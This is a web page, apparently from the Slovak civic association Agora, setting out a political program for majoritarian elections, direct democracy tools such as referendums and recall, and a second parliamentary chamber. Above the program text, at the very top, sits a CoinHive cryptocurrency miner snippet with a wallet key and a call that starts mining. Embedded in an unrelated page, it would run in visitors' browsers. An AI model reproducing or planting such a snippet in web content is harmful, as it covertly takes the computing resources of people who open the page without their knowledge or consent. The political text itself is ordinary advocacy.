

```
var miner = new  
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU  
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```

## I. Ciele občianskeho združenia Agora

**Krátkodobým cieľom Agory** je nájdenie prirodzených aktivistov a utvorenie štruktúry pre obhajobu a **šírenie myšlienok priamej demokracie** v praxi, tak potrebnej pred možným referendum o vstupe do EÚ, získanie podpory pre väčšinový jedno mandátový volebný systém, nájdenie spôsobu pre posilnenie dôvery voči zastupiteľstvám na regionálnej i celoštátnej úrovni. Oboznámenie verejnosti s možnosťami priamej demokracie na Slovensku a o výhodách a nevýhodách volebných systémov. Pripravenie informatívnych materiálov pre širokú verejnosť ako aj vzdelávacie pomôcky pre aktivistov a účastníkov pripravovaných workshopov a stretnutí s občanmi.

**Dlhodobým cieľom** je trvalé udržanie dôvery medzi zvolenými zástupcami občanov na rôznej úrovni a trvalé monitorovanie problémov zastupiteľskej demokracie. Neustále približovanie verejnej správy ideálom priamej demokracie. Zbavenie občanov strachu z nepoznaného a získať ich pre aktívnu podporu realizácie reformy volebného systému. Agora chce prispieť k možnosti rozvoja otvorenej spoločnosti právnymi reformami ( **priamy väčšinový systém, vytvorenie II. komory parlamentu** ), podpora priamej demokracie vznikom demokratických inštitúcií s cieľom:

- posilnenie rozvoja občianskej spoločnosti,
- zmenu právnej mentality, tak aby si ľudia osvojili zastupiteľskú a priamu demokraciu a naučili sa ju prijímať ako nástroj na presadzovanie svojich práv,
- ochrana práv občana v zastupiteľskej demokracii a posilnenie účasti občana na správe vecí verejných, s dôrazom na šírenie poznatkov medzi prirodzenými aktivistami a lokálnymi mienkotvornými subjektmi (napr. poslanci, zástupcovia médií, predstavitelia samosprávy a štátnej správy, aktivisti mimovládnych organizácií a nezastúpené menšinové skupiny spoločnosti),
- rozvoj právnej infraštruktúry, podpora médií, právnych a lokálnych vzdelávacích inštitúcií.

## II. Volebný systém

### Nevýhody súčasného jedno obvodového proporčného volebného systému:

- jednoznačné presadzovanie spravidla širokých koalíčných vlád, čo je obzvlášť nevýhodné pre nepopulárne ale z dlhodobého pohľadu užitočné koncepčné opatrenia štátu, najmä v období keď je nutnosť reformných krokov a od sa vlády očakávajú opatrenia ktoré sú nevyhnutné pre budúci pokrok Slovenska, ale tieto prinesú pozitíva až v dlhodobom horizonte, v inom volebnom období čo súčasný administratívu nemotivuje,
- podporuje politickú roztrieštenosť a nestabilitu, umožňuje i malým stranám diktovať koalíčné podmienky veľkým stranám, ktoré bez ich podpory nedokážu utvoriť vládu, vlády často závisia na malých okrajových stranách reprezentujúcich malú voličskú základňu, vlády tak nemajú ľahko čitateľný koncepčný program, namiesto realizácie rozvojovej politiky štátu sa sily vyčerpávajú udržiavaním koalíčného konsenzu,
- tento systém umožňuje presadzovanie extrémistických strán, napr. sa tak stalo i v predhitlerovskom Nemecku za weimarskej republiky,
- koalíčné vlády sa formujú bez dostatočnej spoločnej koncepcie realizácie rozvoja a bez politicky čitateľného vládneho programu,
- od podielu na vládnutí sa ťažko odstraňujú menšie strany, ktoré dosiahli určitý vplyv a parazitujú tak na vláde z dôvodu volebného systému, niektoré strany tak pretrvávajú neustále v rozmanitých vládoch, čo je často ich jediný skutočný program,
- tvorba jedného celoštátneho volebného obvodu znemožňuje identifikáciu s regionálnymi problémami a väzbu s voličstvom,
- prenecháva prílišnú moc stranickým centrálam, poradie a voliteľnosť kandidáta je závislá predovšetkým od jeho vzťahu k stranickým bossom, názor voliča je iba druhoradý,
- systém si vyžaduje fungujúce stranické štruktúry, pretože sa očakáva volenie strán a nie kandidátov, čo sťažuje jeho adekvátne využitie v prípade nejasných a neštandardných stranických systémov.

### Výhody uplatnenia väčšinového volebného systému:

- je ním jednoduchosť pre rozhodovanie voliča a tendencia voliť predstaviteľov zodpovedných určitému regiónu,
- ľahké rozlíšenie medzi alternatívnymi stranami,
- vzniknú jednofarebné silné vlády, koalície sú skôr výnimkou, vládnuce strany nie sú nútené k ústupkom voči menšinovým partnerom a majú moc realizovať svoju víziu rozvoja Slovenska,
- silná vláda umožní vznik silnej ľahko čitateľnej opozície, ktorá bude mať reálny

alternatívny program,

- vylúčia sa extrémistické strany z parlamentu, pravda pokiaľ nie sú regionálne koncentrované, v proporčnom systéme i zlomok percenta môže predstavovať zastúpenie v parlamente, vo väčšinovom systéme to nebude možné,
- udrží sa väzba poslanca s voličmi, členovia parlamentu budú zastupovať skôr územie, mesto či obec než určitú stranícku nálepku, ich pôsobenie bude lepšie kontrolovateľné, keďže občan bude vedieť kto je jeho poslanec, to mu umožní lepšie sa rozhodnúť pred jeho znovu zvolením alebo nezvolením,
- umožní skôr výber osobnosti (individuality) než strany, voliči budú môcť následne kontrolovať pôsobenie kandidátov a nie len akceptovať kandidátsku listinu politickej strany bez možnosti spätnej kontroly, ako je to zvykom pri proporčnom systéme,
- dá šancu populárnym nezávislým kandidátom dostať sa do parlamentu, obzvlášť je to vhodné v prípadoch nedostatočne sformovaných politických stranách, kde je nejasná ich stredo-pravo-ľavá orientácia.
- hlasovanie si vyžiada iba jednoduchú manipuláciu, zjednodušené bude aj vyhodnocovanie sčítacími komisármi.

Bolo by vhodné využiť výhody oboch volebných systémov:

- proporčný pre voľbu strán v dolnej snemovni,
- väčšinový pre voľbu osobností do hornej snemovne.

Paralelné použitie oboch volebných systémov v jednokomorovom parlamente by viedlo k vzniku dvoch nezrovnateľných skupín poslancov, jednej zodpovednej voličskému regionálnemu zboru, druhej zodpovednej svojim straníckym centrálam. Volebný proces by však bol takmer ten istý ako pri dvojkomorovom parlamente pri strate výhod, ktoré existencia druhej komory poskytuje.

### III. Možnosti priamej demokracie

Podpora rozvoja priamej demokracie v občianskej spoločnosti musí prebiehať ako časť trvalého procesu podpory a hodnotenia kvality zastupiteľskej demokracie na všetkých úrovniach (obecnej, regionálnej i národnej). Medzi typické **nástroje priamej demokracie** patrí u nás žiaľ sprofanované referendum (plebiscit), občianska iniciatíva (petície) a možnosť odvolať volených i nevolených funkcionárov občanmi.

Ústava Slovenskej republiky garantuje právo občana zúčastňovať sa na správe vecí verejných priamo alebo slobodnou voľbou svojich zástupcov. Priama demokracia je kladená na prvé miesto. Priama účasť na správe vecí verejných nie je obmedzená iba na sprostredkovaný výkon volenými zástupcami. Ústava zaručuje petičné právo vo veciach verejného alebo iného spoločného záujmu. Dáva právo verejne sa zhromažďovať bez podmienky povolenia orgánom verejnej správy. Referendom možno rozhodnúť nielen o vstupe do štátneho zväzku s inými štátmi, resp. o vystúpení z takéhoto zväzku, ale aj rozhodovať o iných dôležitých otázkach verejného záujmu.

V 4. hlave „Územná samospráva“ v článku 67 ústava priamo uvádza niektoré nástroje priamej demokracie. Územná samospráva sa uskutočňuje na zhromaždeniach obyvateľov obce, miestnym referendom alebo prostredníctvom orgánov obce. Priama demokracia je kladená na prvé miesto. V návrhu ústavy sa priama demokracia predpokladá i vo vyšších územných celkoch formou referenda.

Používanie referenda nenarúša zastupiteľskú demokraciu. Referendum má svoje limity v niektorých špecifických otázkach. Napr. v prípadoch možnosti majorizácie práv národnostných menšín, ktoré pochopiteľne môžu byť prehlasované väčšinou. Väčšina krajín má s konaním referenda pozitívne skúsenosti. Nezastupiteľný je poznávací zmysel pre občanov. V krajinách kde sa konali takéto hlasovania vzrástla informovanosť občanov. Napr. v Dánsku hlasovanie o vstupe do EÚ umiestnilo Dánov medzi najlepšie informované národy o fungovaní EÚ. Domnievame sa že nízky záujem voliča môže priniesť smutné prekvapenia pri všeľudovom hlasovaní o vstupe Európskej únie.

Občianske iniciatívy a petície sú bežné v štátoch USA. Tu uplatňujú i priame **odvolanie volených i nevolených**

funkcionárov umožňuje naprávať nedostatky zastupiteľskej demokracie. Hrozba odvolania núti volených funkcionárov hodnotiť svoje postupovanie a podporuje voličov byť viac aktívny pri kontrole činnosti svojich volených zástupcov. Prax v krajinách, kde je takáto možnosť, dokázala nezneužívanie nástroja odvolania. Podporujeme uvedenie tohto nástroja do ďalšej novely ústavy SR.

Medzi nástroje priamej demokracie môžeme zaradiť i občianske zhromaždenia na spôsob starobylej Agory. Najmä v najmenších obciach by táto forma mohla byť bežná. Je výhodnejšia a lacnejšia než tvorba obecného zastupiteľstva. Širšie uplatnenie nástrojov priamej demokracie a ich uplatnenie pri krotení skorumpovanej verzii parlamentnej demokracie by dnes na Slovensku bolo prínosom.

### IV. Reforma parlamentu

Slovensko má problémy s racionalizáciou riadenia štátu, s prijatím reformy jeho správy a s uplatňovaním zastupiteľskej demokracie. Tieto problémy negatívne ovplyvňujú rozvoj a transformáciu celej spoločnosti.

Reformy presadzované z hora nepresvedčili ani samotné rozhodovacie subjekty. Centrálna moc nie je natoľko osvietená, aby sa sama dobrovoľne vzdávala časti svojej moci. „Ako chutí moc“ je najväčší nepriateľ každej decentralizačnej reformy. Skupine reformátorov chýba široká občianska podpora. Občianske združenie Agora má za cieľ prehĺbiť súčasné snahy o reformu verejnej správy o širšie problémy riadenia štátu. Agora navrhuje vytvorenie II. komory parlamentu (hornej snemovne), prijatie väčšinového volebného systému a zníženie počtu volených zástupcov na všetkých úrovniach verejnej správy.

#### Je preto potrebné:

1) Znížiť počet poslancov v NR SR a konštituovať druhú komoru parlamentu (hornú snemovňu), vytvorenú väčšinovou volebnou metódou z jedno mandátových volebných obvodov bez priamej účasti politických strán a hnutí, voľbou zástupcov priamo zodpovedných svojim regiónom. Voľby by mohli prebehnúť alternatívne jednokolovo resp. dvojkolovo. Volebné obvody by boli vytvorené úmerne počtu voličov tak, aby nepresahovali hranice územnosprávnych jednotiek. Volič by mal možnosť vybrať si jedného kandidáta do hornej snemovne a jednu volebnú stranu/koalíciu, bez preferenčných hlasov do dolnej snemovne.

- komora s 50 členmi, volenými podľa politickej príslušnosti s využitím proporčného volebného systému na 4 ročné volebné obdobie
- komora s 50 členmi, priamo volenými osobnosťami vo vyšších územných celkoch s využitím väčšinového volebného systému na 6 ročné volebné obdobie s tretinovými doplnovacími voľbami každé 2 roky

2) Znížiť režijné náklady na verejnú správu.

### 3) Zavádzať systém moci, ktorý by zabezpečoval spravodlivosť a transparentnosť

Za tým účelom je potrebné usilovať o legislatívne zmeny v ústave, vo volebnom zákone v zákonoch o miestnej samospráve. Väčšina ústavných teoretikov usudzuje že výhody dvojkomorového parlamentu rozhodne prevažujú nad výhodami jednokomorového zastupiteľského zboru. Môžeme sa inšpirovať 15 európskymi krajinami, kde používajú rôzne viackomorové parlamenty. Naša prax pozná prípady prijímania mnohých neústavných, nekomplexných alebo doslova účelových návrhov zákonov. Zavedenie dvojkomorového systému by obmedzilo prijímanie takýchto zákonov. Použitie väčšinového volebného systému pre voľby do hornej snemovne, by malo umožniť obsadenie druhej komory významnými morálnymi a odbornými autoritami, ktoré si vedia získať podporu občanov v priamych voľbách. Takto zvolená druhá komora bude predstavovať fórum na prezentáciu iných než čisto straníckych myšlienok. Celkový počet členov zákonodarného orgánu by však nemusel vznikom druhej komory narásť, naopak navrhujeme úsporu 50 poslaneckých miest. Náklady na fungovanie dvojkomorového systému (interné náklady) by tak boli nižšie.

Druhá komora by v dlhodobom horizonte mohla **prispiieť k väčšej stabilite** právneho poriadku, **k obmedzeniu**

#### **vplyvu záujmových skupín**

(lobistov) na zákonodarnú moc, a tým k zvýšeniu stupňa demokracie v našom štáte. Cieľom dvojkomorového systému bude vytvorenie inštitucionálnej prekážky väčšinovej vláde, ktorá má inak tendenciu byť vládou neobmedzenou. Ľudové zhromaždenie v starovekých Aténach bolo schopné v jeden deň prikázať občanom vypíť boľhlav a v druhý deň sa uznieslo tým istým občanom postaviť sochy.

#### **Neobmedzená moc jednej zákonodarnej komory sa postupom času mení z demokracie na oligarchiu**

čoho tendencie sú viditeľné na Slovensku. Tvorcovia americkej ústavy sa domnievali, že z dôvodu kontroly zákonodarného orgánu je nevyhnutné tento rozdeliť. Druhá komora je jediným miestom na adekvátnu diskusiu o otázkach verejného záujmu, ktorá zabezpečuje lepšiu informovanosť občanov o legislatívnych návrhoch.

Mnohé zákony sa dnes prijímajú za účelom redistribúcie ekonomických majetkov smerom k relatívne malým lobistickým skupinám. **Jedným z najefektívnejších inštitucionálnych mechanizmov obmedzenia vplyvu záujmových skupín je dvojkomorový parlament. Takéto usporiadanie v konečnom dôsledku predstavuje prostriedok na zníženie vonkajších nákladov.**

Tieto externé náklady, náklady ktoré idú na úkor rozpočtu v prospech lobistov, výrazne prevyšujú náklady vyvolané prevádzkou dvoch komôr. Argument o vyššej finančnej náročnosti je tak zavádzajúci a stráca svoj reálny podklad. Navyše dvojkomorový systém je jediný inštitút, ktorý zabraňuje tyranii väčšiny a zároveň pritom garantuje prijatie väčšinovej alternatívy.

Úsilie Agory o zmenu volebného systému a reformu parlamentu povedie v konečnom dôsledku k vyprofilovaniu politických strán, k vzniku ideologicky čitateľných vlád. Cieľ občianskej iniciatívy nie je namierený proti pôsobeniu politických strán a hnutí. Naopak realizácia reformy sprehľadní politické dianie, transparentnosť, zníži korupciu a napomôže k realizácii koncepcií a vízií skutočného rozvoja Slovenska. Priama voľba poslancov hornej snemovne umožní využiť výhody oboch systémov a pomôže udržať záujem občana o veci verejné.

Podobne voľby do zastupiteľských zborov vyšších samosprávnych územných celkov by mali využiť jedno mandátové volebné obvody na báze jednokolového väčšinového volebného systému. Bol by to jednoduchý, čitateľný a lacný systém brániaci majorizácii hlavnou stranou. Čím nižšie od ústrednej vlády tým viac je miestna politika politikou každodennou, drobnou, kde sa len realizuje politika rozhodnutá na celoštátnej úrovni. Tu by mal byť, podobne ako to je v obciach, obmedzený vplyv politických strán a dôraz by mal byť kladený na praktický život.

## V. Reforma volebného systému a ako na to

Výber volebného systému je jednou z najdôležitejších otázok pre každý demokratický štát, navyše iba vzácné je tento výber výsledkom starostlivého a slobodného uvažovania. Spravidla je to výsledok historického vývoja, dedičstva alebo náhody. Voľba systému je často podriadená nedostatkom poznania u politikov a ich vôli pomôcť hlavne svojej politickej strane. V takýchto prípadoch ich voľba nemusí byť z dlhodobého hľadiska tá najlepšia a môže byť katastrofou. Pri voľbách ide v podstate o premenu volebných hlasov na kreslá v parlamente. Hlavnými činiteľmi pri voľbách sú použitý volebný systém (väčšinový alebo proporčný a ich varianty), vzorec na prepočet hlasov a veľkosť volebného obvodu (meraná počtom mandátov). Pri navrhovaní reformy volebného systému a jeho implementácii chceme zohľadniť nasledovné princípy:

- garantovať reprezentatívny parlament (zastúpenie regiónov, zastúpenie politickej vôle občanov v podobe politických strán)
- poskytnúť volebný systém akceptovaný priemerným voličom
- dať možnosť pre nájdenia cesty dohody medzi znepriatelenými politickými subjektmi
- posilniť legitímnosť parlamentu a vlády
- podporiť stabilnú a efektívnu vládu
- poskytnúť systém umožňujúci čo najlepšiu verejnú kontrolu exekutívy a zastupiteľského zboru (možnosť odvolať legislatívcov ak o to požiadajú dostatočný počet voličov, referendá, iniciatívy a petície)
- podporiť vyprofilovanie parlamentnej opozície
- zohľadniť finančné možnosti štátu

### Reformátori volebných systémov:

- by mali presadzovať jednoduché reformy (príliš komplexné a dokonalé sú nečitateľné voličom i politikom),
- nemali by sa báť noviniek (existuje mnoho úspešných novínok v zahraničí), reforma ale nevzniká vo vzduchoprázdne, vždy je v konkrétnej krajine a v konkrétnej spoločnosti,
- nemali by podceňovať inteligenciu voličstva,
- mali by sa pokúsiť nájsť súhlas od všetkých kľúčových subjektov,
- musia si uvedomiť že krátkodobá výhoda nebýva vždy v súlade s dlhodobou udržateľnosťou navrhovanej reformy,
- nesmú si myslieť že zmena volebného systému je všespasiteľná, naopak by však nemali podceňiť jej silu,
- volič musí cítiť že voľby mu poskytujú silu vplývať na parlament a na vládu
- musia počúvať vôľu voličstva, akokoľvek dobre pripravená reforma bez adekvátnej prezentácii verejnosti sa mení v jej očiach na „panské huncútstvo“
- nemali by byť otrokmi tradícií (nezotrvávať prílišne na „dobrých osvedčených“ systémoch)
- mali by predvídať možné konflikty vzniknuté z realizácie nimi presadzovanej zmeny.

Vybraný volebný systém môže byť rôzne úspešný v jednotlivých krajinách. Všeobecne možno odporúčať model s priamo voleným prezidentom, dvojkomorový parlament s vyváženou mocou a primeraný stupeň regionality. Plne si uvedomujeme že každá radikálna reforma sa najťažšie presadzuje v stabilizovaných demokratických režimoch a najľahšie v obdobiach politických prelomov. Reformy v stabilizovaných štátoch spravidla nie sú občianskou prioritou a tiež spravidla potenciálne ohrozujú existujúcu administratívu. Súčasná situácia na Slovensku je však v etape prehodnocovania ústavy, zrodu regionálnej samosprávy a budovania demokracie. Naším cieľom nie je prevrat ale revízia dosiahnutého v pozitívnom slova zmysle.

### VI. Postupnosť krokov:

1) Sformovať Agoru. Agora pripravila v rámci projektu „Posilnenie rozvoja priamej demokracie v občianskej spoločnosti v súlade s reformou verejnej správy“ stretnutia - besedy o týchto otázkach. Agora hľadá u všetkých občanov a v nimi vytvorených právnych subjektoch, podporu a pomoc pre presadenie a realizovanie cieľov upevňujúcich demokraciu na Slovensku.



## Program

Napísal Administrator  
Nedeľa, 09 August 2009 18:38

---

2) Presadzovať ciele združenia. V spolupráci so všetkými mienkotvornými subjektmi vykonávať osvetu medzi najširšími masami obyvateľov. Navodiť atmosféru spoločenskej objednávky reformy zastupiteľskej demokracie na Slovensku.

3) Hľadanie spojencov. Spolupráca so všetkými subjektmi s blízkym cieľom na presadenie zmeny. Presadzovanie cieľov Agory ako reprezentant verejnej mienky v poradných a rozhodovacích zboroch každej úrovne.

4) Definovanie a sformovanie reprezentatívnej sily schopnej presadiť realizáciu navrhovanej reformy.